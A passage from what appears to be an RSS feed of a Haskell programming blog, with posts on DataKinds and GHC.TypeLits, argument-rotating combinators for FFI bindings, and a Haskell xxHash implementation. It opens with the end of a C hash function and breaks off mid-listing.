<span class="kw">inline</span> <span class="dt">void</span> hash(<span class="dt">uint16_t</span> * r4, <span class="dt">uint16_t</span> * r6, <span class="dt">const</span> <span class="dt">char</span> <span class="dt">const</span> *input)
{
	*r4 = <span class="dv">0</span>;
	*r6 = <span class="dv">0</span>;
	<span class="dt">uint16_t</span> <span class="dt">const</span> *p = (<span class="dt">uint16_t</span> *) input;
	<span class="kw">do</span> {
		<span class="kw">if</span> (*(<span class="dt">char</span> *)p == &#39;\<span class="dv">0</span>&#39; || *(<span class="dt">char</span> *)p + <span class="dv">1</span> == &#39;\<span class="dv">0</span>&#39;)
			<span class="kw">break</span>;
		*r4 += *p;
		SWPB((<span class="dt">uint8_t</span> *) r4);
		*r6 ^= *p;
		SWAP(*r6, *r4);
	} <span class="kw">while</span> (p++);
}</code></pre>]]></description>
    <pubDate>Tue, 16 Sep 2014 00:00:00 UT</pubDate>
    <guid>http://ponies.io//posts/2014-09-16-microcorruption.html</guid>
    <dc:creator>Christian Marie</dc:creator>
</item>
<item>
    <title>An introduction to DataKinds and GHC.TypeLits</title>
    <link>http://ponies.io//posts/2014-07-30-typelits.html</link>
    <description><![CDATA[<h3 id="kinds-are-kind-of-like-types-of-types">Kinds are kind of like types of types</h3>
<p>You intuitively understand that the type of the value <em>1</em> is <em>Int</em> within the expression:</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell">λ <span class="dv">1</span><span class="ot"> ::</span> <span class="dt">Int</span></code></pre>
<p>Kinds extend this intuition for type constructors. The kind of the type constructor <em>Int</em> is * within the expression:</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell">λ <span class="fu">:</span>kind <span class="dt">Int</span>
<span class="dt">Int</span><span class="ot"> ::</span> <span class="fu">*</span></code></pre>
<p>The * means that the type constructor is a fully applied lifted type. Lifted means that the value may contain <a href="http://www.haskell.org/haskellwiki/Bottom">bottom</a>, or is boxed (can be jammed into a closure). You can think of types of kind * as types ready to have <em>boxed</em> values associated with them. Haskell calls these types <em>inhabited</em>.</p>
<p>When you see an arrow from kind to kind, you are reading the signature of a type with free type variables. Once these type level functions have had types applied to them, they become fully applied and inhabitable.</p>
<p>So a function at the value level:</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell">λ <span class="fu">:</span><span class="kw">type</span> (<span class="fu">+</span><span class="dv">1</span>)
(<span class="fu">+</span><span class="dv">1</span>)<span class="ot"> ::</span> <span class="dt">Num</span> a <span class="ot">=&gt;</span> a <span class="ot">-&gt;</span> a
λ <span class="fu">:</span><span class="kw">type</span> (<span class="fu">+</span><span class="dv">1</span>) <span class="dv">1</span>
(<span class="fu">+</span><span class="dv">1</span>) <span class="dv">1</span><span class="ot"> ::</span> <span class="dt">Num</span> a <span class="ot">=&gt;</span> a</code></pre>
<p>Looks much like an equivalent function at the type level:</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell">λ <span class="fu">:</span>kind <span class="dt">Maybe</span>
<span class="dt">Maybe</span><span class="ot"> ::</span> <span class="fu">*</span> <span class="ot">-&gt;</span> <span class="fu">*</span>
λ <span class="fu">:</span>kind <span class="dt">Maybe</span> <span class="dt">Int</span>
<span class="dt">Maybe</span> <span class="dt">Int</span><span class="ot"> ::</span> <span class="fu">*</span></code></pre>
<p>Monad transformers are another interesting example:</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell">λ <span class="fu">:</span>kind <span class="dt">ReaderT</span>
<span class="dt">ReaderT</span><span class="ot"> ::</span> <span class="fu">*</span> <span class="ot">-&gt;</span> (<span class="fu">*</span> <span class="ot">-&gt;</span> <span class="fu">*</span>) <span class="ot">-&gt;</span> <span class="fu">*</span> <span class="ot">-&gt;</span> <span class="fu">*</span>
λ <span class="fu">:</span>kind <span class="dt">IO</span>
<span class="dt">IO</span><span class="ot"> ::</span> <span class="fu">*</span> <span class="ot">-&gt;</span> <span class="fu">*</span>
λ <span class="fu">:</span>kind <span class="dt">ReaderT</span> <span class="dt">Int</span> <span class="dt">IO</span> ()
<span class="dt">ReaderT</span> <span class="dt">Int</span> <span class="dt">IO</span><span class="ot"> () ::</span> <span class="fu">*</span></code></pre>
<p>If any of that confused you, I’d suggest skimming through the <a href="http://en.wikipedia.org/wiki/Kind_%28type_theory%29">Wikipedia article for kinds</a> and the <a href="https://www.haskell.org/ghc/docs/7.8.3/html/users_guide/informal-semantics.html#types-and-kinds">informal semantics section</a> of the GHC users guide.</p>
<h3 id="unstarlike-kinds">Unstarlike kinds</h3>
<p>Despite all these stars flying about, not all kinds are star. Class constraints are, funnily enough, Constraints.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell">λ <span class="fu">:</span>kind (forall a<span class="fu">.</span> <span class="dt">Num</span> a)
(forall a<span class="fu">.</span> <span class="dt">Num</span> a)<span class="ot"> ::</span> <span class="dt">Constraint</span></code></pre>
<p>Unboxed primitives are magical hashes.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell">λ <span class="fu">:</span>set <span class="fu">-</span><span class="dt">XMagicHash</span> 
λ <span class="kw">import </span><span class="dt">GHC.Prim</span>

λ <span class="fu">:</span><span class="kw">type</span> <span class="ch">&#39;x&#39;</span><span class="st">#</span>
<span class="ch">&#39;x&#39;</span><span class="st"># :: Char#</span>

λ <span class="fu">:</span>kind <span class="dt">Char</span><span class="st">#</span>
<span class="dt">Char</span><span class="st"># :: #</span></code></pre>
<p>You’ll note these hashes are <em>not</em> lifted types, you can’t do some things that you might think you could.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell">λ <span class="fu">:</span>kind <span class="dt">Maybe</span> <span class="dt">Char</span><span class="st">#</span>

<span class="fu">&lt;</span>interactive<span class="fu">&gt;:</span><span class="dv">1</span><span class="fu">:</span><span class="dv">7</span><span class="fu">:</span>
    <span class="dt">Expecting</span> a lifted <span class="kw">type</span>, but ‘<span class="dt">Char</span><span class="st">#’ is unlifted</span>
    <span class="dt">In</span> a <span class="kw">type</span> <span class="kw">in</span> a <span class="dt">GHCi</span> command<span class="fu">:</span> <span class="dt">Maybe</span> <span class="dt">Char</span><span class="st">#</span>

λ<span class="ot"> undefined ::</span> <span class="dt">Char</span><span class="st">#</span>

<span class="fu">&lt;</span>interactive<span class="fu">&gt;:</span><span class="dv">59</span><span class="fu">:</span><span class="dv">1</span><span class="fu">:</span>
    <span class="dt">Kind</span> incompatibility when matching types<span class="fu">:</span>
<span class="ot">      a0 ::</span> <span class="fu">*</span>
      <span class="dt">Char</span><span class="st"># :: #</span>
    <span class="dt">In</span> the first argument <span class="kw">of</span> ‘print’, namely ‘it’
    <span class="dt">In</span> a stmt <span class="kw">of</span> an interactive <span class="dt">GHCi</span> command<span class="fu">:</span> print it</code></pre>
<h3 id="an-introduction-to-datakinds">An introduction to DataKinds</h3>
<p>DataKinds are relatively simple. You turn on the extension and all of a sudden some of your data types have unique kinds!</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell">λ <span class="fu">:</span>set <span class="fu">-</span><span class="dt">XDataKinds</span>
λ <span class="kw">data</span> <span class="dt">Animal</span> <span class="fu">=</span> <span class="dt">Pegasus</span> <span class="fu">|</span> <span class="dt">Octopus</span>
λ <span class="fu">:</span>kind <span class="dt">Pegasus</span>
<span class="dt">Pegasus</span><span class="ot"> ::</span> <span class="dt">Animal</span></code></pre>
<p>There’s a few restrictions on what gets promoted to the kind level. You can read more about this in the <a href="https://www.haskell.org/ghc/docs/7.8.3/html/users_guide/promotion.html">datatype promotion section</a> of the GHC users guide, which has a few nice examples too. None of that will be important for what we’re trying to do today, though.</p>
<h3 id="datakinds-give-you-free-type-literals-by-the-way">DataKinds give you free type literals, by the way</h3>
<p>Somewhat confusingly, <a href="https://www.haskell.org/ghc/docs/7.8.3/html/users_guide/type-level-literals.html">type level literals</a> are provided by the DataKinds extension. This interacts with the <a href="http://www.haskell.org/ghc/docs/7.8.3/html/libraries/base/GHC-TypeLits.html">GHC.TypeLits</a> package to provide two magical kinds, <em>Nat</em> and <em>Symbol</em>. We will ignore Nat, we’re not playing with natural numbers today.</p>
<p>The compiler will give you all possible type literals and an instance for the type class <em>KnownSymbol</em> for free:</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">data</span> (<span class="st">&quot;a&quot;</span><span class="ot"> ::</span> <span class="dt">Symbol</span>) <span class="co">-- type &quot;a&quot; of kind Symbol</span>
<span class="kw">data</span> (<span class="st">&quot;b&quot;</span><span class="ot"> ::</span> <span class="dt">Symbol</span>)
<span class="fu">...</span>
<span class="kw">data</span> (<span class="st">&quot;ab&quot;</span><span class="ot"> ::</span> <span class="dt">Symbol</span>)
<span class="fu">...</span></code></pre>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">instance</span> <span class="dt">KnownSymbol</span> <span class="st">&quot;a&quot;</span>
<span class="kw">instance</span> <span class="dt">KnownSymbol</span> <span class="st">&quot;b&quot;</span>
<span class="fu">...</span>
<span class="kw">instance</span> <span class="dt">KnownSymbol</span> <span class="st">&quot;ab&quot;</span>
<span class="fu">...</span></code></pre>
<h3 id="proxies-like-existentials-but-exactly-the-opposite.">Proxies, like existentials, but exactly the opposite.</h3>
<p>Because the type literal “a” has a kind of <em>Symbol</em>, we can never inhabit a Haskell value with it. Nevertheless, there is a trick to pass these things around as regular haskell values: <a href="http://www.haskell.org/ghc/docs/7.8.3/html/libraries/base/Data-Proxy.html">Data.Proxy</a>. There is not much documentation of <em>Proxy</em>, but let’s go through what we have.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="co">-- | A concrete, poly-kinded proxy type</span>
<span class="kw">data</span> <span class="dt">Proxy</span> t <span class="fu">=</span> <span class="dt">Proxy</span></code></pre>
<p>You can see that it’s essentially an existential in reverse. An existential will take a value and hide type information associated with it, keeping only a constraint. A <em>Proxy</em> will take no value and attach type information to it.</p>
<p>What do they mean by poly-kinded, you ask? Well, note that t is never used, t could really be anything! Well, the <a href="https://www.haskell.org/ghc/docs/7.8.3/html/users_guide/kind-polymorphism.html">PolyKinds</a> module provides the machinery to allow t to be of any kind.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell">λ <span class="fu">:</span>kind <span class="dt">Proxy</span>
<span class="dt">Proxy</span><span class="ot"> ::</span> k <span class="ot">-&gt;</span> <span class="fu">*</span></code></pre>
<p>The k here stands for any kind. This means we can put our symbol in it and pass it around as a concrete value.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell">λ <span class="kw">let</span> p <span class="fu">=</span> <span class="dt">Proxy</span><span class="ot"> ::</span> <span class="dt">Proxy</span> <span class="st">&quot;hai&quot;</span>
λ print p
<span class="dt">Proxy</span></code></pre>
<h3 id="run-time-stringification">Run-time stringification</h3>
<p>Within <a href="http://www.haskell.org/ghc/docs/7.8.3/html/libraries/base/GHC-TypeLits.html">GHC.TypeLits</a> lives a magical function:</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="ot">symbolVal ::</span> forall n proxy<span class="fu">.</span> <span class="dt">KnownSymbol</span> n <span class="ot">=&gt;</span> proxy n <span class="ot">-&gt;</span> <span class="dt">String</span></code></pre>
<p>So we can get from a Symbol to a String at runtime via a Proxy, but what about the other way?</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">data</span> <span class="dt">SomeSymbol</span> <span class="fu">=</span> forall n<span class="fu">.</span> <span class="dt">KnownSymbol</span> n <span class="ot">=&gt;</span> <span class="dt">SomeSymbol</span> (<span class="dt">Proxy</span> n)
<span class="ot">someSymbolVal ::</span> <span class="dt">String</span> <span class="ot">-&gt;</span> <span class="dt">SomeSymbol</span></code></pre>
<p>There’s even a function for comparing these KnownSymbols:</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="ot">sameSymbol ::</span> (<span class="dt">KnownSymbol</span> a, <span class="dt">KnownSymbol</span> b)
           <span class="ot">=&gt;</span> <span class="dt">Proxy</span> a <span class="ot">-&gt;</span> <span class="dt">Proxy</span> b <span class="ot">-&gt;</span> <span class="dt">Maybe</span> (a <span class="fu">:~:</span> b)</code></pre>
<p>This means that we can check for symbol equality at runtime, against a runtime input!</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="ot">same ::</span> (<span class="dt">KnownSymbol</span> a, <span class="dt">KnownSymbol</span> b) <span class="ot">=&gt;</span> <span class="dt">Proxy</span> a <span class="ot">-&gt;</span> <span class="dt">Proxy</span> b <span class="ot">-&gt;</span> <span class="dt">Bool</span>
same a b <span class="fu">=</span> isJust (sameSymbol a b)</code></pre>
<h3 id="simple-example-instances-for-the-command-line.">Simple example: instances for the command line.</h3>
<p>Putting this all together now, we can define an API for users to implement non-overlapping command-line actions.</p>
<pre class="sourceCode haskell" include="code/typelits/Commands.hs"><code class="sourceCode haskell"><span class="ot">{-# LANGUAGE DataKinds #-}</span>
<span class="ot">{-# LANGUAGE ExistentialQuantification #-}</span>
<span class="ot">{-# LANGUAGE PolyKinds #-}</span>
<span class="ot">{-# LANGUAGE FlexibleInstances #-}</span>

<span class="kw">import </span><span class="dt">GHC.TypeLits</span>
<span class="kw">import </span><span class="dt">Data.Proxy</span>
<span class="kw">import </span><span class="dt">System.Environment</span>
<span class="kw">import </span><span class="dt">Data.Maybe</span>
<span class="kw">import </span><span class="dt">Control.Monad</span>

<span class="co">-- | An existential box to place anything that is a Handler and KnownSymbol.</span>
<span class="kw">data</span> <span class="dt">SomeHandler</span>
   <span class="fu">=</span> forall h<span class="fu">.</span> (<span class="dt">KnownSymbol</span> h, <span class="dt">Handler</span> h) <span class="ot">=&gt;</span> <span class="dt">SomeHandler</span> (<span class="dt">Proxy</span> h)

<span class="kw">class</span> <span class="dt">Handler</span> h <span class="kw">where</span>
    <span class="co">-- We need to pass the proxy in here because a class has to work on a </span>
    <span class="co">-- value that mentions at least one type variable.</span>
<span class="ot">    handleIt ::</span> <span class="dt">Proxy</span> h <span class="ot">-&gt;</span> <span class="dt">IO</span> ()

<span class="co">-- | The type just goes inline as a literal.</span>
<span class="kw">instance</span> <span class="dt">Handler</span> <span class="st">&quot;dance&quot;</span> <span class="kw">where</span>
    handleIt _ <span class="fu">=</span> putStrLn <span class="st">&quot;*   *\n \\o/\n _|\n   \\&quot;</span>

<span class="co">-- | The user will need to place the commands in here to be iterated over to</span>
<span class="co">-- check for a match.</span>
<span class="ot">handlers ::</span> [<span class="dt">SomeHandler</span>]
handlers <span class="fu">=</span> [<span class="dt">SomeHandler</span> (<span class="dt">Proxy</span><span class="ot"> ::</span> <span class="dt">Proxy</span> <span class="st">&quot;dance&quot;</span>)]

<span class="ot">same ::</span> (<span class="dt">KnownSymbol</span> a, <span class="dt">KnownSymbol</span> b) <span class="ot">=&gt;</span> <span class="dt">Proxy</span> a <span class="ot">-&gt;</span> <span class="dt">Proxy</span> b <span class="ot">-&gt;</span> <span class="dt">Bool</span>
same a b <span class="fu">=</span> isJust (sameSymbol a b)

<span class="ot">handleCommand ::</span> [<span class="dt">String</span>] <span class="ot">-&gt;</span> <span class="dt">IO</span> ()
handleCommand []      <span class="fu">=</span> error <span class="st">&quot;please to command&quot;</span>
handleCommand (str<span class="fu">:</span>_) <span class="fu">=</span>
    <span class="co">-- A case statement is needed to extract the existential here, or GHC&#39;s</span>
    <span class="co">-- brain explodes.</span>
    <span class="kw">case</span> someSymbolVal str <span class="kw">of</span>
        <span class="dt">SomeSymbol</span> user_proxy <span class="ot">-&gt;</span>
            forM_ handlers <span class="fu">$</span> \(<span class="dt">SomeHandler</span> proxy) <span class="ot">-&gt;</span>
                when (same user_proxy proxy) (handleIt proxy)

<span class="ot">main ::</span> <span class="dt">IO</span> ()
main <span class="fu">=</span> getArgs <span class="fu">&gt;&gt;=</span> handleCommand</code></pre>
<p>And for the fruits of our labour:</p>
<pre><code>$ runhaskell Commands.hs dance
*   *
 \o/
 _|
   \</code></pre>]]></description>
    <pubDate>Wed, 30 Jul 2014 00:00:00 UT</pubDate>
    <guid>http://ponies.io//posts/2014-07-30-typelits.html</guid>
    <dc:creator>Christian Marie</dc:creator>
</item>
<item>
    <title>Flippers: a compositional shoehorn.</title>
    <link>http://ponies.io//posts/2014-01-14-flippers.html</link>
    <description><![CDATA[<p>This is a quick writeup about the haskell library <a href="http://github.com/christian-marie/flippers/">Control.Flippers</a> and how I find it useful.</p>
<p>The library was born of a real problem refactoring code; a quick search indicates I am not the first to come up with this solution, just the only one that has bothered to make a standalone library of it.</p>
<p>Convoluted theoretical examples aren’t my thing, so I’ll explain the actual problem from the top.</p>
<h4 id="situation">Situation:</h4>
<p>I’m writing FFI bindings to a C library to send statistics to an internal system. This library is called ‘libmarquise’ and it sends statistics to a system we have invented called ‘vaultaire’. The names make me cringe too, you’ll be okay.</p>
<p>I more or less have to cover five very similar but slightly different functions, they are:</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="ot">sendText    ::</span> [(<span class="dt">B.ByteString</span>, <span class="dt">B.ByteString</span>)] <span class="ot">-&gt;</span> <span class="dt">Word64</span> 
            <span class="ot">-&gt;</span> <span class="dt">B.ByteString</span> <span class="ot">-&gt;</span> <span class="dt">Marquise</span> ()
<span class="ot">sendInt     ::</span> [(<span class="dt">B.ByteString</span>, <span class="dt">B.ByteString</span>)] <span class="ot">-&gt;</span> <span class="dt">Word64</span>
            <span class="ot">-&gt;</span> <span class="dt">Int64</span> <span class="ot">-&gt;</span> <span class="dt">Marquise</span> ()
<span class="ot">sendReal    ::</span> [(<span class="dt">B.ByteString</span>, <span class="dt">B.ByteString</span>)] <span class="ot">-&gt;</span> <span class="dt">Word64</span>
            <span class="ot">-&gt;</span> <span class="dt">Rational</span> <span class="ot">-&gt;</span> <span class="dt">Marquise</span> ()
<span class="ot">sendCounter ::</span> [(<span class="dt">B.ByteString</span>, <span class="dt">B.ByteString</span>)] <span class="ot">-&gt;</span> <span class="dt">Word64</span>
            <span class="ot">-&gt;</span> <span class="dt">Marquise</span> ()
<span class="ot">sendBinary  ::</span> [(<span class="dt">B.ByteString</span>, <span class="dt">B.ByteString</span>)] <span class="ot">-&gt;</span> <span class="dt">Word64</span>
            <span class="ot">-&gt;</span> <span class="dt">B.ByteString</span> <span class="ot">-&gt;</span> <span class="dt">Marquise</span> ()</code></pre>
<hr />
<h4 id="iteration-one">Iteration one:</h4>
<p>The way I usually proceed from here is to simply implement one function the stupid way, and then try on a few different refactorings. This leads me to write:</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="ot">sendText ::</span> [(<span class="dt">B.ByteString</span>, <span class="dt">B.ByteString</span>)] <span class="ot">-&gt;</span> <span class="dt">Word64</span>
         <span class="ot">-&gt;</span> <span class="dt">B.ByteString</span> <span class="ot">-&gt;</span> <span class="dt">Marquise</span> ()
sendText tag_pairs timestamp text <span class="fu">=</span> <span class="kw">do</span>
    connection <span class="ot">&lt;-</span> ask
    liftIO <span class="fu">$</span> void <span class="fu">$</span>
        withCStringArray (map fst tag_pairs) <span class="fu">$</span> \fields_ptr <span class="ot">-&gt;</span>
        withCStringArray (map snd tag_pairs) <span class="fu">$</span> \values_ptr <span class="ot">-&gt;</span>
            B.useAsCStringLen text <span class="fu">$</span> \(text_ptr, text_len) <span class="ot">-&gt;</span>
                E.throwIfMinus1 <span class="st">&quot;marquise_send_text&quot;</span> <span class="fu">$</span>
                    F.c_marquise_send_text connection
                                           fields_ptr
                                           values_ptr
                                           (fromIntegral <span class="fu">$</span> length tag_pairs)
                                           text_ptr
                                           (fromIntegral text_len)
                                           timestamp
  <span class="kw">where</span>
<span class="ot">    withCStringArray ::</span> [<span class="dt">B.ByteString</span>] <span class="ot">-&gt;</span> (<span class="dt">Ptr</span> <span class="dt">CString</span> <span class="ot">-&gt;</span> <span class="dt">IO</span> a) <span class="ot">-&gt;</span> <span class="dt">IO</span> a
    withCStringArray bss f <span class="fu">=</span> <span class="kw">do</span>
        <span class="kw">let</span> continuations <span class="fu">=</span> map B.useAsCString bss <span class="kw">in</span>
            runCont (mapM cont continuations) <span class="fu">$</span> \cstrings <span class="ot">-&gt;</span> 
                SV.unsafeWith (SV.fromList cstrings) <span class="fu">$</span> \ptr <span class="ot">-&gt;</span> f ptr

 sendInt <span class="fu">=</span> undefined
 sendReal <span class="fu">=</span> undefined
 <span class="fu">...</span></code></pre>
<hr />
<h4 id="iteration-two">Iteration two:</h4>
<p>There are seven arguments to the FFI call to c_marquise_send_text. This makes me sad. I’m sure you can see the potential for code reuse here though.</p>
<p>Let’s make this a little nicer with a helper!</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="co">-- | Helper that builds a connection, cstring arrays and associated size,</span>
<span class="co">-- then checks the continuation&#39;s result for negative one</span>
<span class="ot">withConnFieldsValuesLength ::</span> <span class="dt">String</span>
                           <span class="ot">-&gt;</span> [(<span class="dt">B.ByteString</span>, <span class="dt">B.ByteString</span>)]
                           <span class="ot">-&gt;</span> (<span class="dt">Ptr</span> <span class="dt">F.MarquiseConnection</span>
                            <span class="ot">-&gt;</span> <span class="dt">Ptr</span> <span class="dt">CString</span>
                            <span class="ot">-&gt;</span> <span class="dt">Ptr</span> <span class="dt">CString</span>
                            <span class="ot">-&gt;</span> <span class="dt">CSize</span>
                            <span class="ot">-&gt;</span> <span class="dt">IO</span> <span class="dt">CInt</span>)
                           <span class="ot">-&gt;</span> <span class="dt">Marquise</span> ()
withConnFieldsValuesLength c_function tag_pairs f <span class="fu">=</span> <span class="kw">do</span>
    connection <span class="ot">&lt;-</span> ask
    liftIO <span class="fu">$</span>  void <span class="fu">$</span> 
        withCStringArray (map fst tag_pairs) <span class="fu">$</span> \fields_ptr <span class="ot">-&gt;</span>
        withCStringArray (map snd tag_pairs) <span class="fu">$</span> \values_ptr <span class="ot">-&gt;</span>
            E.throwIfMinus1 c_function <span class="fu">$</span> f connection
                                           fields_ptr
                                           values_ptr
                                           (fromIntegral <span class="fu">$</span> length tag_pairs)
  <span class="kw">where</span>
<span class="ot">    withCStringArray ::</span> [<span class="dt">B.ByteString</span>] <span class="ot">-&gt;</span> (<span class="dt">Ptr</span> <span class="dt">CString</span> <span class="ot">-&gt;</span> <span class="dt">IO</span> a) <span class="ot">-&gt;</span> <span class="dt">IO</span> a
    withCStringArray bss f&#39; <span class="fu">=</span> <span class="kw">do</span>
            (runCont <span class="fu">.</span> mapM cont) (map B.useAsCString bss) <span class="fu">$</span> \cstrings <span class="ot">-&gt;</span>
                SV.unsafeWith (SV.fromList cstrings) f&#39;

<span class="ot">sendText ::</span> [(<span class="dt">B.ByteString</span>, <span class="dt">B.ByteString</span>)] <span class="ot">-&gt;</span> <span class="dt">Word64</span> <span class="ot">-&gt;</span> <span class="dt">B.ByteString</span> <span class="ot">-&gt;</span> <span class="dt">Marquise</span> ()
sendText tag_pairs timestamp text <span class="fu">=</span>
    withConnFieldsValuesLength <span class="st">&quot;marquise_send_text&quot;</span> tag_pairs <span class="fu">$</span> \c f v l <span class="ot">-&gt;</span> 
            B.useAsCStringLen text <span class="fu">$</span> \(text_ptr, text_len) <span class="ot">-&gt;</span>
                    F.c_marquise_send_text c f v l
                                           text_ptr
                                           (fromIntegral text_len)
                                           timestamp</code></pre>
<p>Our withConnFieldsValueLenght does exactly what it’s name suggests, runs our code with a connection, tag fields, tag values and number of tags.</p>
<p>And so, sendInt and sendReal become very concise:</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="ot">sendInt ::</span> [(<span class="dt">B.ByteString</span>, <span class="dt">B.ByteString</span>)] <span class="ot">-&gt;</span> <span class="dt">Word64</span> <span class="ot">-&gt;</span> <span class="dt">Int64</span> <span class="ot">-&gt;</span> <span class="dt">Marquise</span> ()
sendInt tag_pairs timestamp int <span class="fu">=</span>
    withConnFieldsValuesLength <span class="st">&quot;marquise_send_text&quot;</span> tag_pairs <span class="fu">$</span> \c f v l <span class="ot">-&gt;</span> 
                F.c_marquise_send_int c f v l int timestamp

<span class="ot">sendReal ::</span> [(<span class="dt">B.ByteString</span>, <span class="dt">B.ByteString</span>)] <span class="ot">-&gt;</span> <span class="dt">Word64</span> <span class="ot">-&gt;</span> <span class="dt">Rational</span> <span class="ot">-&gt;</span> <span class="dt">Marquise</span> ()
sendReal tag_pairs timestamp r <span class="fu">=</span>
    withConnFieldsValuesLength <span class="st">&quot;marquise_send_real&quot;</span> tag_pairs <span class="fu">$</span> \c f v l <span class="ot">-&gt;</span> 
                F.c_marquise_send_real c f v l (fromRational r) timestamp</code></pre>
<hr />
<h4 id="iteration-three">Iteration three:</h4>
<p>I hated passing c f v l around though, it really bothered me! If I could just partially apply the last to arguments to say, F.c_marquise_send_real, then I would be able to write that bit point free. What I really needed was a rotate6 function, then I’d be able to write:</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="ot">sendInt ::</span> [(<span class="dt">B.ByteString</span>, <span class="dt">B.ByteString</span>)] <span class="ot">-&gt;</span> <span class="dt">Word64</span> <span class="ot">-&gt;</span> <span class="dt">Int64</span> <span class="ot">-&gt;</span> <span class="dt">Marquise</span> ()
sendInt tag_pairs timestamp int <span class="fu">=</span>
    withConnFieldsValuesLength <span class="st">&quot;marquise_send_int&quot;</span> tag_pairs <span class="fu">$</span>
        (rotate6 <span class="fu">.</span> rotate6) F.c_marquise_send_int int timestamp

<span class="ot">sendReal ::</span> [(<span class="dt">B.ByteString</span>, <span class="dt">B.ByteString</span>)] <span class="ot">-&gt;</span> <span class="dt">Word64</span> <span class="ot">-&gt;</span> <span class="dt">Rational</span> <span class="ot">-&gt;</span> <span class="dt">Marquise</span> ()
sendReal tag_pairs timestamp r <span class="fu">=</span>
    withConnFieldsValuesLength <span class="st">&quot;marquise_send_real&quot;</span> tag_pairs <span class="fu">$</span>
        (rotate6 <span class="fu">.</span> rotate6) F.c_marquise_send_real (fromRational r) timestamp

<span class="ot">sendCounter ::</span> [(<span class="dt">B.ByteString</span>, <span class="dt">B.ByteString</span>)] <span class="ot">-&gt;</span> <span class="dt">Word64</span> <span class="ot">-&gt;</span> <span class="dt">Marquise</span> ()
sendCounter tag_pairs timestamp <span class="fu">=</span>
    withConnFieldsValuesLength <span class="st">&quot;marquise_send_counter&quot;</span> tag_pairs <span class="fu">$</span>
        rotate5 F.c_marquise_send_counter timestamp</code></pre>
<p>Yes, this is going to great lengths to remove a small bit of duplication, but I really do think that removing that clutter is worth it. Writing the definitions this way makes it much clearer what the difference between sendReal and sendInt. It’s important to remember that people can’t keep track that many things at once, it hurts their brains. Do you want to write code that hurts people? I suppose I do too sometimes. That’s besides the point.</p>
<hr />
<h4 id="implementation-of-rotate6">Implementation of rotate6:</h4>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="ot">rotate6 ::</span> (a <span class="ot">-&gt;</span> b <span class="ot">-&gt;</span> c <span class="ot">-&gt;</span> d <span class="ot">-&gt;</span> e <span class="ot">-&gt;</span> f <span class="ot">-&gt;</span> g) <span class="ot">-&gt;</span> f <span class="ot">-&gt;</span> a <span class="ot">-&gt;</span> b <span class="ot">-&gt;</span> c <span class="ot">-&gt;</span> d <span class="ot">-&gt;</span> e <span class="ot">-&gt;</span> g
rotate6 <span class="fu">=</span> flip <span class="fu">.</span> (rotate5 <span class="fu">.</span>)
  <span class="kw">where</span>
    rotate5 <span class="fu">=</span> flip <span class="fu">.</span> (rotate4 <span class="fu">.</span>)
    rotate4 <span class="fu">=</span> flip <span class="fu">.</span> (rotate3 <span class="fu">.</span>)
    rotate3 <span class="fu">=</span> flip <span class="fu">.</span> (flip <span class="fu">.</span>)</code></pre>
<p>Easy! You’ll note that we can compose these rotates to do whatever we like. For example:</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="co">-- | Reverse three arguments</span>
<span class="ot">flip3 ::</span> (a <span class="ot">-&gt;</span> b <span class="ot">-&gt;</span> c <span class="ot">-&gt;</span> d) <span class="ot">-&gt;</span> (c <span class="ot">-&gt;</span> b <span class="ot">-&gt;</span> a <span class="ot">-&gt;</span> d)
flip3 <span class="fu">=</span> rotate3 <span class="fu">.</span> rotate2</code></pre>]]></description>
    <pubDate>Tue, 14 Jan 2014 00:00:00 UT</pubDate>
    <guid>http://ponies.io//posts/2014-01-14-flippers.html</guid>
    <dc:creator>Christian Marie</dc:creator>
</item>
<item>
    <title>XXHash for haskell</title>
    <link>http://ponies.io//posts/2014-01-10-xxhash.html</link>
    <description><![CDATA[<p>I recently implemented the <a href="https://code.google.com/p/xxhash/">xxHash</a> algorithm in Haskell. You may find my implementation on <a href="https://github.com/christian-marie/xxhash">github</a> and a criterion <a href="/raw/2013-01-10-xxhash-criterion-report.html">benchmark here</a>.</p>
<p>At first, my implementation’s performance was <em>terrible</em>.</p>
<p>However, with a little tinkering I was able to get the performance up on par with C, mostly due to inlinePerformIO which appears to have unboxed and inlined everything as best as could be expected.</p>
<p>GHC was even smart enough to turn a call to rotateL into what looks like the assembly output of hand written C.</p>
<p>To elaborate:</p>
<ol style="list-style-type: decimal">
<li>The little rotateL bit from this snippet:</li>
</ol>
<pre class="sourceCode haskell"><code class="sourceCode haskell">prime1 <span class="fu">=</span> <span class="dv">2654435761</span>
prime2 <span class="fu">=</span> <span class="dv">2246822519</span>

vx v i <span class="fu">=</span> ((v <span class="fu">+</span> i <span class="fu">*</span> prime2) <span class="ot">`rotateL`</span> <span class="dv">13</span>) <span class="fu">*</span> prime1</code></pre>
<ol start="2" style="list-style-type: decimal">
<li>Became the core:</li>
</ol>
<pre class="sourceCode haskell"><code class="sourceCode haskell">(narrow32Word<span class="st">#</span>
   (timesWord<span class="st">#</span>
      (narrow32Word<span class="st">#</span>
	 (or<span class="st">#</span>
	    (uncheckedShiftL<span class="st"># x#2_X1Bh 13)</span>
	    (uncheckedShiftRL<span class="st"># x#2_X1Bh 19)))</span>
